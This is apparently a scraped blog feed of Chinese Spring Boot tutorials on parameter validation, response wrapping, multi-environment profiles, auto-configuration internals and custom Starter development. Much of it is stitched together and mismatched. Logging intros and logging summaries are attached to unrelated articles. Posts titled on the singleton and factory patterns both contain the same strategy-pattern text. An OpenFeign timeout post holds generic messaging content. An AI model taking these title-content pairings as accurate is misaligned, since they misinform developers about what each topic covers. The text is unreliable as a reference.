良好的异常处理可以提升 API 的可用性和可维护性。

核心要点

  1. 日志级别设置：根据环境设置合适的级别

  2. 日志格式配置：添加 traceId 便于链路追踪

  3. 日志输出：控制台输出和文件输出的配置

  4. 日志归档：设置滚动策略和保留时间

总结

日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。

]]> Spring 学习笔记 Spring SpringBoot参数校验和返回值封装 //springboot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/ SpringBoot参数校验和返回值封装

Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。

参数校验

#

引入依赖

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-validation</artifactId>
</dependency>

#

常用校验注解

注解说明
@NotNull不能为 null
@NotBlank不能为 null 且不为空字符串
@NotEmpty不能为 null 且不为空（字符串/集合）
@Min / @Max数字范围
@Size字符串长度/集合大小
@Email邮箱格式
@Pattern正则匹配
@Positive正数
@Future / @Past未来/过去日期

#

请求参数校验

##

@Valid + @RequestBody

@Data
public class CreateUserRequest {
    
    @NotBlank(message = "用户名不能为空")
    @Size(min = 2, max = 20, message = "用户名长度2-20")
    private String username;
    
    @NotBlank(message = "密码不能为空")
    @Size(min = 6, message = "密码至少6位")
    private String password;
    
    @NotBlank(message = "邮箱不能为空")
    @Email(message = "邮箱格式不正确")
    private String email;
    
    @Min(value = 1, message = "年龄不能小于1")
    @Max(value = 150, message = "年龄不能大于150")
    private Integer age;
}
@RestController
@RequestMapping("/users")
public class UserController {
    
    @PostMapping
    public Result<User> createUser(@Valid @RequestBody CreateUserRequest request) {
        // ...
    }
}

##

@Validated + @RequestParam / @PathVariable

@RestController
@Validated
public class UserController {
    
    @GetMapping("/users/{id}")
    public Result<User> getUser(@PathVariable @Min(1) Long id) {
        // ...
    }
    
    @GetMapping("/users")
    public Result<List<User>> listUsers(
            @RequestParam @Min(1) @Max(100) Integer pageSize) {
        // ...
    }
}

##

分组校验

public interface CreateGroup {}
public interface UpdateGroup {}

@Data
public class UserRequest {
    
    @NotNull(groups = UpdateGroup.class)
    private Long id;
    
    @NotBlank(groups = {CreateGroup.class, UpdateGroup.class})
    private String username;
    
    @NotBlank(groups = CreateGroup.class)
    private String password;
}
@PostMapping
public Result<User> create(@Validated(CreateGroup.class) @RequestBody UserRequest request) {
    // ...
}

@PutMapping
public Result<User> update(@Validated(UpdateGroup.class) @RequestBody UserRequest request) {
    // ...
}

##

嵌套校验

@Data
public class CreateOrderRequest {
    
    @NotBlank
    private String orderNo;
    
    @Valid  // 嵌套校验
    @NotEmpty
    private List<OrderItemRequest> items;
}

@Data
public class OrderItemRequest {
    
    @NotBlank
    private String skuId;
    
    @Min(1)
    private Integer quantity;
}

#

自定义校验注解

@Target({ElementType.FIELD})
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = PhoneValidator.class)
public @interface Phone {
    String message() default "手机号格式不正确";
    Class<?>[] groups() default {};
    Class<? extends Payload>[] payload() default {};
}

public class PhoneValidator implements ConstraintValidator<Phone, String> {
    
    private static final Pattern PHONE_PATTERN = Pattern.compile("^1[3-9]\\d{9}$");
    
    @Override
    public boolean isValid(String value, ConstraintValidatorContext context) {
        if (value == null) {
            return true;  // @NotNull 处理 null
        }
        return PHONE_PATTERN.matcher(value).matches();
    }
}

统一返回值封装

#

统一响应结构

@Data
public class Result<T> {
    private Integer code;
    private String message;
    private T data;
    private Long timestamp;
    
    public Result() {
        this.timestamp = System.currentTimeMillis();
    }
    
    public static <T> Result<T> success(T data) {
        Result<T> result = new Result<>();
        result.setCode(200);
        result.setMessage("success");
        result.setData(data);
        return result;
    }
    
    public static <T> Result<T> fail(Integer code, String message) {
        Result<T> result = new Result<>();
        result.setCode(code);
        result.setMessage(message);
        return result;
    }
    
    public static <T> Result<T> fail(String message) {
        return fail(500, message);
    }
}

#

全局响应封装

@RestControllerAdvice(basePackages = "com.example.controller")
public class ResponseAdvice implements ResponseBodyAdvice<Object> {
    
    @Autowired
    private ObjectMapper objectMapper;
    
    @Override
    public boolean supports(MethodParameter returnType, Class<? extends HttpMessageConverter<?>> converterType) {
        // 只处理返回类型不是 Result 的方法
        return !returnType.getParameterType().equals(Result.class);
    }
    
    @Override
    public Object beforeBodyWrite(Object body, MethodParameter returnType,
                                  MediaType selectedContentType,
                                  Class<? extends HttpMessageConverter<?>> selectedConverterType,
                                  ServerHttpRequest request, ServerHttpResponse response) {
        // String 类型特殊处理
        if (body instanceof String) {
            try {
                return objectMapper.writeValueAsString(Result.success(body));
            } catch (JsonProcessingException e) {
                throw new RuntimeException(e);
            }
        }
        
        return Result.success(body);
    }
}

全局异常处理

@RestControllerAdvice
public class GlobalExceptionHandler {
    
    private static final Logger log = LoggerFactory.getLogger(GlobalExceptionHandler.class);
    
    // 参数校验异常
    @ExceptionHandler(MethodArgumentNotValidException.class)
    public Result<Void> handleValidation(MethodArgumentNotValidException e) {
        String message = e.getBindingResult().getFieldErrors().stream()
            .map(error -> error.getField() + ": " + error.getDefaultMessage())
            .collect(Collectors.joining(", "));
        
        return Result.fail(400, message);
    }
    
    // 参数校验异常（@RequestParam/@PathVariable）
    @ExceptionHandler(ConstraintViolationException.class)
    public Result<Void> handleConstraintViolation(ConstraintViolationException e) {
        String message = e.getConstraintViolations().stream()
            .map(ConstraintViolation::getMessage)
            .collect(Collectors.joining(", "));
        
        return Result.fail(400, message);
    }
    
    // 业务异常
    @ExceptionHandler(BusinessException.class)
    public Result<Void> handleBusiness(BusinessException e) {
        log.warn("业务异常: {}", e.getMessage());
        return Result.fail(e.getCode(), e.getMessage());
    }
    
    // 其他异常
    @ExceptionHandler(Exception.class)
    public Result<Void> handleException(Exception e) {
        log.error("系统异常", e);
        return Result.fail(500, "系统繁忙，请稍后再试");
    }
}

分页结果封装

@Data
public class PageResult<T> {
    private List<T> list;
    private Long total;
    private Integer pageNum;
    private Integer pageSize;
    private Integer totalPages;
    
    public static <T> PageResult<T> of(PageInfo<T> pageInfo) {
        PageResult<T> result = new PageResult<>();
        result.setList(pageInfo.getList());
        result.setTotal(pageInfo.getTotal());
        result.setPageNum(pageInfo.getPageNum());
        result.setPageSize(pageInfo.getPageSize());
        result.setTotalPages(pageInfo.getPages());
        return result;
    }
}

最佳实践

#

1. 校验消息统一

# messages.properties
javax.validation.constraints.NotBlank.message={0}不能为空
javax.validation.constraints.Size.message={0}长度必须在{min}到{max}之间

#

2. 控制器保持简洁

@RestController
@RequiredArgsConstructor
public class UserController {
    private final UserService userService;
    
    @PostMapping("/users")
    public Result<Long> create(@Valid @RequestBody CreateUserRequest request) {
        return Result.success(userService.create(request));
    }
}

#

3. 异常不暴露内部信息

@ExceptionHandler(Exception.class)
public Result<Void> handleException(Exception e) {
    log.error("系统异常", e);  // 内部记录详细日志
    return Result.fail(500, "系统繁忙");  // 对外返回通用消息
}

总结

场景方案
请求体校验@Valid + @RequestBody
URL 参数校验@Validated + @RequestParam
分组校验@Validated(Group.class)
嵌套校验@Valid
自定义规则自定义注解 + Validator
返回值封装ResponseBodyAdvice
异常处理@RestControllerAdvice

规范的参数校验和返回值封装，是构建高质量 REST API 的基础。

核心要点

  1. 日志级别设置：根据环境设置合适的级别

  2. 日志格式配置：添加 traceId 便于链路追踪

  3. 日志输出：控制台输出和文件输出的配置

  4. 日志归档：设置滚动策略和保留时间

总结

日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。

]]> Spring 学习笔记 Spring 工厂模式如何降低创建复杂度 //gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/ 工厂模式如何降低创建复杂度

工厂模式能降低创建复杂度，但用不好反而会增加复杂度。本文讲它的适用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 单例模式的线程安全写法 //dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/ 单例模式的线程安全写法

单例模式看似简单，但线程安全的写法有很多讲究。本文讲各种实现的区别。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 SpringBoot配置分环境的标准做法 //springboot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/ SpringBoot配置分环境的标准做法

Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。

1. Profile 文件分离

#

文件结构

src/main/resources/
├── application.yml          # 公共配置
├── application-dev.yml      # 开发环境
├── application-test.yml     # 测试环境
└── application-prod.yml     # 生产环境

#

application.yml（公共配置）

spring:
  profiles:
    active: dev  # 默认激活 dev
  
  application:
    name: my-service

server:
  port: 8080

# 日志公共配置
logging:
  level:
    root: INFO

#

application-dev.yml（开发环境）

spring:
  datasource:
    url: jdbc:mysql://localhost:3306/dev_db
    username: root
    password: root
  
  redis:
    host: localhost
    port: 6379
    database: 0

# 开发环境打印 SQL
logging:
  level:
    com.example.mapper: DEBUG

#

application-prod.yml（生产环境）

spring:
  datasource:
    url: jdbc:mysql://prod-mysql:3306/prod_db
    username: ${DB_USERNAME}
    password: ${DB_PASSWORD}
    hikari:
      maximum-pool-size: 50
      minimum-idle: 10
  
  redis:
    host: prod-redis
    port: 6379
    password: ${REDIS_PASSWORD}
    lettuce:
      pool:
        max-active: 50

# 生产环境关闭详细日志
logging:
  level:
    root: WARN
    com.example: INFO

2. 激活 Profile

#

方式1：配置文件

spring:
  profiles:
    active: prod

#

方式2：启动参数

java -jar app.jar --spring.profiles.active=prod

#

方式3：环境变量

export SPRING_PROFILES_ACTIVE=prod
java -jar app.jar

#

方式4：JVM 参数

java -Dspring.profiles.active=prod -jar app.jar

#

方式5：Maven 打包时

<profiles>
    <profile>
        <id>dev</id>
        <activation>
            <activeByDefault>true</activeByDefault>
        </activation>
        <properties>
            <spring.profiles.active>dev</spring.profiles.active>
        </properties>
    </profile>
    <profile>
        <id>prod</id>
        <properties>
            <spring.profiles.active>prod</spring.profiles.active>
        </properties>
    </profile>
</profiles>
mvn clean package -Pprod

3. @Profile 注解

#

Bean 级别控制

@Configuration
public class DataSourceConfig {
    
    @Bean
    @Profile("dev")
    public DataSource devDataSource() {
        HikariConfig config = new HikariConfig();
        config.setJdbcUrl("jdbc:h2:mem:testdb");
        return new HikariDataSource(config);
    }
    
    @Bean
    @Profile("prod")
    public DataSource prodDataSource() {
        HikariConfig config = new HikariConfig();
        config.setJdbcUrl("jdbc:mysql://prod:3306/db");
        return new HikariDataSource(config);
    }
}

#

配置类级别控制

@Profile("dev")
@Configuration
public class DevConfig {
    // 只在 dev 环境生效
}

@Profile("!prod")  // 非 prod 环境生效
@Configuration
public class NonProdConfig {
    // ...
}

@Profile({"dev", "test"})  // 多个 profile
@Configuration
public class DevTestConfig {
    // ...
}

4. 多 Profile 组合

spring:
  profiles:
    active: prod,swagger
# application-swagger.yml
springdoc:
  api-docs:
    enabled: true
  swagger-ui:
    enabled: true

5. 配置优先级

Spring Boot 配置的优先级（从高到低）：

  1. 命令行参数：--server.port=9000
  2. JVM 系统属性：-Dserver.port=9000
  3. 环境变量：SERVER_PORT=9000
  4. application-{profile}.yml
  5. application.yml
  6. @PropertySource
  7. 默认值

6. 配置中心（Nacos）

#

引入依赖

<dependency>
    <groupId>com.alibaba.cloud</groupId>
    <artifactId>spring-cloud-starter-alibaba-nacos-config</artifactId>
</dependency>

#

bootstrap.yml

spring:
  application:
    name: my-service
  profiles:
    active: dev
  cloud:
    nacos:
      config:
        server-addr: localhost:8848
        namespace: dev
        group: DEFAULT_GROUP
        file-extension: yaml

#

Nacos 配置

# Data ID: my-service-dev.yaml
spring:
  datasource:
    url: jdbc:mysql://localhost:3306/dev_db
    username: root
    password: root

7. 敏感配置加密

#

Jasypt

<dependency>
    <groupId>com.github.ulisesbocchio</groupId>
    <artifactId>jasypt-spring-boot-starter</artifactId>
    <version>3.0.5</version>
</dependency>
jasypt:
  encryptor:
    password: ${JASYPT_PASSWORD}

spring:
  datasource:
    password: ENC(encrypted_password_here)
# 加密
java -cp jasypt.jar org.jasypt.intf.cli.JasyptPBEStringEncryptionCLI \
    input="real_password" password="secret_key" algorithm=PBEWITHHMACSHA512ANDAES_256

8. 配置验证

#

@Validated + @ConfigurationProperties

@ConfigurationProperties(prefix = "app")
@Validated
public class AppProperties {
    
    @NotBlank
    private String name;
    
    @Min(1)
    @Max(100)
    private int threadPoolSize = 10;
    
    // getter/setter
}
app:
  name: my-app
  thread-pool-size: 20

9. 配置热更新

#

@RefreshScope（Spring Cloud）

@RestController
@RefreshScope
public class ConfigController {
    
    @Value("${app.message:default}")
    private String message;
    
    @GetMapping("/message")
    public String getMessage() {
        return message;
    }
}
# 刷新配置（无需重启）
curl -X POST http://localhost:8080/actuator/refresh

最佳实践

实践说明
默认配置application.yml 放公共、不变的配置
环境配置application-{env}.yml 放环境相关的配置
敏感信息使用环境变量或配置中心，不要硬编码
加密密码等敏感配置使用 Jasypt 加密
验证使用 @Validated 验证配置项
文档给 @ConfigurationProperties 字段加注释

总结

方式适用场景
Profile 文件简单项目，配置不复杂
@ProfileBean 级别控制
启动参数临时切换环境
配置中心微服务，配置集中管理
环境变量容器化部署，敏感配置

合理管理多环境配置，是保证应用在不同环境稳定运行的基础。

核心要点

  1. 日志级别设置：根据环境设置合适的级别

  2. 日志格式配置：添加 traceId 便于链路追踪

  3. 日志输出：控制台输出和文件输出的配置

  4. 日志归档：设置滚动策略和保留时间

总结

日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。

]]> Spring 学习笔记 Spring 接口版本管理和灰度发布思路 //jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/ 接口版本管理和灰度发布思路

接口版本管理和灰度发布是长期维护项目必须考虑的。本文讲几种常见做法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud SpringBoot自动配置源码解析 //springboot-zi-dong-pei-zhi-yuan-ma-jie-xi/ SpringBoot自动配置源码解析

Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。

入口：@SpringBootApplication

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Inherited
@SpringBootConfiguration
@EnableAutoConfiguration
@ComponentScan(excludeFilters = {
    @Filter(type = FilterType.CUSTOM, classes = TypeExcludeFilter.class),
    @Filter(type = FilterType.CUSTOM, classes = AutoConfigurationExcludeFilter.class)
})
public @interface SpringBootApplication {
}

三个核心注解：

  1. @SpringBootConfiguration：标记配置类
  2. @EnableAutoConfiguration：启用自动配置
  3. @ComponentScan：组件扫描

@EnableAutoConfiguration 解析

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Inherited
@AutoConfigurationPackage
@Import(AutoConfigurationImportSelector.class)
public @interface EnableAutoConfiguration {
    String ENABLED_OVERRIDE_PROPERTY = "spring.boot.enableautoconfiguration";
}

关键：@Import(AutoConfigurationImportSelector.class)

AutoConfigurationImportSelector

#

类结构

public class AutoConfigurationImportSelector implements 
        DeferredImportSelector,           // 延迟导入，在@Configuration处理完后执行
        BeanClassLoaderAware,
        ResourceLoaderAware,
        BeanFactoryAware,
        EnvironmentAware,
        Ordered {
    
    @Override
    public String[] selectImports(AnnotationMetadata annotationMetadata) {
        // 检查是否禁用自动配置
        if (!isEnabled(annotationMetadata)) {
            return NO_IMPORTS;
        }
        
        // 获取自动配置条目
        AutoConfigurationEntry autoConfigurationEntry = 
            getAutoConfigurationEntry(annotationMetadata);
        
        return StringUtils.toStringArray(autoConfigurationEntry.getConfigurations());
    }
}

#

getAutoConfigurationEntry

protected AutoConfigurationEntry getAutoConfigurationEntry(AnnotationMetadata metadata) {
    // 1. 检查是否禁用
    if (!isEnabled(metadata)) {
        return EMPTY_ENTRY;
    }
    
    // 2. 获取注解属性
    AnnotationAttributes attributes = getAttributes(metadata);
    
    // 3. 获取候选配置列表
    List<String> configurations = getCandidateConfigurations(metadata, attributes);
    
    // 4. 去重
    configurations = removeDuplicates(configurations);
    
    // 5. 获取排除项
    Set<String> exclusions = getExclusions(metadata, attributes);
    
    // 6. 检查排除项合法性
    checkExcludedClasses(configurations, exclusions);
    
    // 7. 移除排除项
    configurations.removeAll(exclusions);
    
    // 8. 按条件过滤（核心）
    configurations = getConfigurationClassFilter().filter(configurations);
    
    // 9. 触发自动配置导入事件
    fireAutoConfigurationImportEvents(configurations, exclusions);
    
    return new AutoConfigurationEntry(configurations, exclusions);
}

#

getCandidateConfigurations

protected List<String> getCandidateConfigurations(AnnotationMetadata metadata, 
                                                   AnnotationAttributes attributes) {
    // 从 META-INF/spring.factories 加载
    List<String> configurations = SpringFactoriesLoader.loadFactoryNames(
        getSpringFactoriesLoaderFactoryClass(), getBeanClassLoader());
    
    Assert.notEmpty(configurations,
        "No auto configuration classes found in META-INF/spring.factories. " +
        "If you are using a custom packaging, make sure that file is correct.");
    
    return configurations;
}

protected Class<?> getSpringFactoriesLoaderFactoryClass() {
    return EnableAutoConfiguration.class;
}

#

SpringFactoriesLoader

public final class SpringFactoriesLoader {
    public static final String FACTORIES_RESOURCE_LOCATION = "META-INF/spring.factories";
    
    public static List<String> loadFactoryNames(Class<?> factoryType, ClassLoader classLoader) {
        String factoryTypeName = factoryType.getName();
        return loadSpringFactories(classLoader).getOrDefault(factoryTypeName, Collections.emptyList());
    }
    
    private static Map<String, List<String>> loadSpringFactories(ClassLoader classLoader) {
        Map<String, List<String>> result = cache.get(classLoader);
        if (result != null) {
            return result;
        }
        
        result = new HashMap<>();
        try {
            // 加载所有 META-INF/spring.factories
            Enumeration<URL> urls = classLoader.getResources(FACTORIES_RESOURCE_LOCATION);
            while (urls.hasMoreElements()) {
                URL url = urls.nextElement();
                UrlResource resource = new UrlResource(url);
                Properties properties = PropertiesLoaderUtils.loadProperties(resource);
                
                for (Map.Entry<?, ?> entry : properties.entrySet()) {
                    String factoryTypeName = ((String) entry.getKey()).trim();
                    String[] factoryImplementationNames = 
                        StringUtils.commaDelimitedListToStringArray((String) entry.getValue());
                    for (String factoryImplementationName : factoryImplementationNames) {
                        result.computeIfAbsent(factoryTypeName, k -> new ArrayList<>())
                              .add(factoryImplementationName.trim());
                    }
                }
            }
        } catch (IOException ex) {
            throw new IllegalArgumentException(...);
        }
        
        cache.put(classLoader, result);
        return result;
    }
}

条件过滤

#

ConfigurationClassFilter

protected final ConfigurationClassFilter getConfigurationClassFilter() {
    if (this.configurationClassFilter == null) {
        List<AutoConfigurationImportFilter> filters = getAutoConfigurationImportFilters();
        for (AutoConfigurationImportFilter filter : filters) {
            invokeAwareMethods(filter);
        }
        this.configurationClassFilter = new ConfigurationClassFilter(
            this.beanClassLoader, filters);
    }
    return this.configurationClassFilter;
}

#

OnClassCondition

@Order(Ordered.HIGHEST_PRECEDENCE)
public class OnClassCondition extends FilteringSpringBootCondition {
    
    @Override
    protected final ConditionOutcome[] getOutcomes(String[] autoConfigurationClasses,
                                                    AutoConfigurationMetadata autoConfigurationMetadata) {
        // 分批检查 @ConditionalOnClass
        // 使用多线程加速
    }
    
    private ConditionOutcome getOutcome(String candidates) {
        try {
            // 检查类是否存在
            for (String candidate : StringUtils.commaDelimitedListToStringArray(candidates)) {
                Class.forName(candidate, false, getClass().getClassLoader());
            }
            return ConditionOutcome.match();
        } catch (ClassNotFoundException ex) {
            return ConditionOutcome.noMatch(ConditionMessage.forCondition(...));
        }
    }
}

自动配置类示例

#

DataSourceAutoConfiguration

@Configuration(proxyBeanMethods = false)
@ConditionalOnClass({ DataSource.class, EmbeddedDatabaseType.class })
@ConditionalOnMissingBean(type = "io.r2dbc.spi.ConnectionFactory")
@EnableConfigurationProperties(DataSourceProperties.class)
@Import({ DataSourcePoolMetadataProvidersConfiguration.class,
        DataSourceInitializationConfiguration.InitializationSpecificCredentialsDataSourceInitializationConfiguration.class,
        DataSourceInitializationConfiguration.SharedCredentialsDataSourceInitializationConfiguration.class })
public class DataSourceAutoConfiguration {
    
    @Configuration(proxyBeanMethods = false)
    @Conditional(EmbeddedDatabaseCondition.class)
    @ConditionalOnMissingBean({ DataSource.class, XADataSource.class })
    @Import(EmbeddedDataSourceConfiguration.class)
    protected static class EmbeddedDatabaseConfiguration {
    }
    
    @Configuration(proxyBeanMethods = false)
    @Conditional(PooledDataSourceCondition.class)
    @ConditionalOnMissingBean({ DataSource.class, XADataSource.class })
    @Import({ DataSourceConfiguration.Hikari.class,
            DataSourceConfiguration.Tomcat.class,
            DataSourceConfiguration.Dbcp2.class,
            DataSourceConfiguration.Generic.class,
            DataSourceConfiguration.OracleUcp.class })
    protected static class PooledDataSourceConfiguration {
    }
    
    @Bean
    @ConditionalOnMissingBean
    public DataSourceTransactionManager transactionManager(DataSource dataSource) {
        DataSourceTransactionManager transactionManager = new DataSourceTransactionManager(dataSource);
        return transactionManager;
    }
}

自动配置报告

#

AutoConfigurationReportListener

public class AutoConfigurationReportListener implements 
        ApplicationListener<AutoConfigurationImportEvent> {
    
    @Override
    public void onApplicationEvent(AutoConfigurationImportEvent event) {
        // 记录匹配和不匹配的配置类
        // 用于生成自动配置报告
    }
}

#

查看报告

# DEBUG 日志
logging.level.org.springframework.boot.autoconfigure=DEBUG

# 条件报告
java -jar app.jar --debug

自定义条件注解

@Target({ ElementType.TYPE, ElementType.METHOD })
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Conditional(OnCustomCondition.class)
public @interface ConditionalOnCustom {
    String value();
}

public class OnCustomCondition extends SpringBootCondition {
    
    @Override
    public ConditionOutcome getMatchOutcome(ConditionContext context, AnnotatedTypeMetadata metadata) {
        Map<String, Object> attributes = metadata.getAnnotationAttributes(
            ConditionalOnCustom.class.getName());
        String value = (String) attributes.get("value");
        
        String property = context.getEnvironment().getProperty("my.custom." + value);
        if (property != null) {
            return ConditionOutcome.match();
        }
        
        return ConditionOutcome.noMatch("Property my.custom." + value + " not found");
    }
}

加载流程总结

SpringApplication.run()
    |
    v
refreshContext()
    |
    v
AbstractApplicationContext.refresh()
    |
    ├── invokeBeanFactoryPostProcessors()
    │       └── ConfigurationClassPostProcessor.processConfigBeanDefinitions()
    │               └── parser.parse(candidates)
    │                       └── 处理 @Import
    │                               └── AutoConfigurationImportSelector
    │                                       ├── loadFactoryNames()
    │                                       │       └── 读取 spring.factories
    │                                       ├── 去重
    │                                       ├── 排除
    │                                       └── filter()
    │                                               └── OnClassCondition
    │                                                       └── Class.forName()
    │
    └── 注册过滤后的配置类为 BeanDefinition

总结

Spring Boot 自动配置的源码设计精妙：

  1. spring.factories：SPI 机制，声明式注册
  2. DeferredImportSelector：延迟加载，保证 @Configuration 先处理
  3. 条件注解：按需加载，避免不必要的 Bean
  4. 条件评估缓存：启动时缓存结果，加速后续启动

理解自动配置源码，可以更好地开发自定义 Starter 和排查配置问题。

核心要点

  1. 日志级别设置：根据环境设置合适的级别

  2. 日志格式配置：添加 traceId 便于链路追踪

  3. 日志输出：控制台输出和文件输出的配置

  4. 日志归档：设置滚动策略和保留时间

总结

日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。

]]> Spring 学习笔记 Spring OpenFeign 调用超时和重试配置 //openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/ OpenFeign 调用超时和重试配置

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud SpringBoot Starter自定义开发 //springboot-starter-zi-ding-yi-kai-fa/ SpringBoot Starter自定义开发

Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。

Starter 命名规范

类型命名格式示例
官方 Starterspring-boot-starter-*spring-boot-starter-web
第三方 Starter*-spring-boot-startermybatis-spring-boot-starter

开发步骤

#

1. 创建 Maven 项目

<!-- pom.xml -->
<project>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.x</version>
    </parent>
    
    <artifactId>my-service-spring-boot-starter</artifactId>
    <version>1.0.0</version>
    
    <dependencies>
        <!-- 自动配置 -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-autoconfigure</artifactId>
        </dependency>
        
        <!-- 配置处理器，生成元数据 -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-configuration-processor</artifactId>
            <optional>true</optional>
        </dependency>
    </dependencies>
</project>

#

2. 创建配置属性类

@ConfigurationProperties(prefix = "my.service")
public class MyServiceProperties {
    
    /**
     * 是否启用
     */
    private boolean enabled = true;
    
    /**
     * 服务名称
     */
    private String name = "default";
    
    /**
     * 超时时间（毫秒）
     */
    private int timeout = 5000;
    
    /**
     * 重试次数
     */
    private int retry = 3;
    
    // getter/setter
    public boolean isEnabled() { return enabled; }
    public void setEnabled(boolean enabled) { this.enabled = enabled; }
    
    public String getName() { return name; }
    public void setName(String name) { this.name = name; }
    
    public int getTimeout() { return timeout; }
    public void setTimeout(int timeout) { this.timeout = timeout; }
    
    public int getRetry() { return retry; }
    public void setRetry(int retry) { this.retry = retry; }
}

#

3. 创建核心服务类

public class MyService {
    
    private final MyServiceProperties properties;
    
    public MyService(MyServiceProperties properties) {
        this.properties = properties;
    }
    
    public String sayHello(String name) {
        return String.format("[%s] Hello, %s!", properties.getName(), name);
    }
    
    public void executeWithRetry(Runnable task) {
        int attempts = 0;
        while (attempts < properties.getRetry()) {
            try {
                task.run();
                return;
            } catch (Exception e) {
                attempts++;
                if (attempts >= properties.getRetry()) {
                    throw new RuntimeException("重试耗尽", e);
                }
            }
        }
    }
}

#

4. 创建自动配置类

@Configuration
@ConditionalOnClass(MyService.class)
@ConditionalOnProperty(prefix = "my.service", name = "enabled", havingValue = "true", matchIfMissing = true)
@EnableConfigurationProperties(MyServiceProperties.class)
public class MyServiceAutoConfiguration {
    
    private final MyServiceProperties properties;
    
    public MyServiceAutoConfiguration(MyServiceProperties properties) {
        this.properties = properties;
    }
    
    @Bean
    @ConditionalOnMissingBean  // 用户定义了则优先使用用户的
    public MyService myService() {
        return new MyService(properties);
    }
    
    @Bean
    @ConditionalOnMissingBean
    @ConditionalOnProperty(prefix = "my.service", name = "health-check", havingValue = "true")
    public MyHealthIndicator myHealthIndicator(MyService myService) {
        return new MyHealthIndicator(myService);
    }
}

#

5. 配置 spring.factories

# src/main/resources/META-INF/spring.factories
org.springframework.boot.autoconfigure.EnableAutoConfiguration=\
com.example.autoconfigure.MyServiceAutoConfiguration

#

6. 配置提示元数据

// src/main/resources/META-INF/additional-spring-configuration-metadata.json
{
  "properties": [
    {
      "name": "my.service.enabled",
      "type": "java.lang.Boolean",
      "description": "是否启用 MyService",
      "defaultValue": true
    },
    {
      "name": "my.service.name",
      "type": "java.lang.String",
      "description": "服务名称"
    },
    {
      "name": "my.service.timeout",
      "type": "java.lang.Integer",
      "description": "超时时间（毫秒）",
      "defaultValue": 5000
    }
  ]
}

完整项目结构

my-service-spring-boot-starter/
├── pom.xml
└── src/
    └── main/
        ├── java/
        │   └── com/example/
        │       ├── MyService.java
